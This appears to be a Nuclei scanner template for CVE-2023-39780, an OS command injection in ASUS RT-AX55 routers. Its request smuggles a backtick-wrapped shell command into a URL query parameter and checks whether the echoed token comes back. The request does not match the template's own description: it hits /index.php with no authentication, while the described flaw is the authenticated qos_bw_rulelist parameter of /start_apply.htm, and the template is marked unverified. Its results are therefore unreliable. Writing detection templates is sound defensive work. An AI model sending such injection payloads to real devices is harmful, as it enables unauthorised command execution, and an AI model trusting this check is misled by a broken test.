id: CVE-2023-39780

info:
  name: "ASUS RT-AX55 - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    On ASUS RT-AX55 3.0.0.4.386.51598 devices, authenticated attackers can perform OS command injection via the
    /start_apply.htm qos_bw_rulelist parameter. NOTE: for the similar "token-generated module" issue, see
    CVE-2023-41345; for the similar "token-refresh module" issue, see CVE-2023-41346; for the similar "check token
    module" issue, see CVE-2023-41347; and for the similar "code-authentication module" issue, see CVE-2023-41348.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-39780&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=asus&match=exact
  classification:
    cvss-score: 8.8
    cve-id: CVE-2023-39780
    cwe-id: CWE-77
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2023,asus,cmd

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?x=%60echo%20mut9yz22dnvb%60"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "mut9yz22dnvb"
      - type: status
        status:
          - 200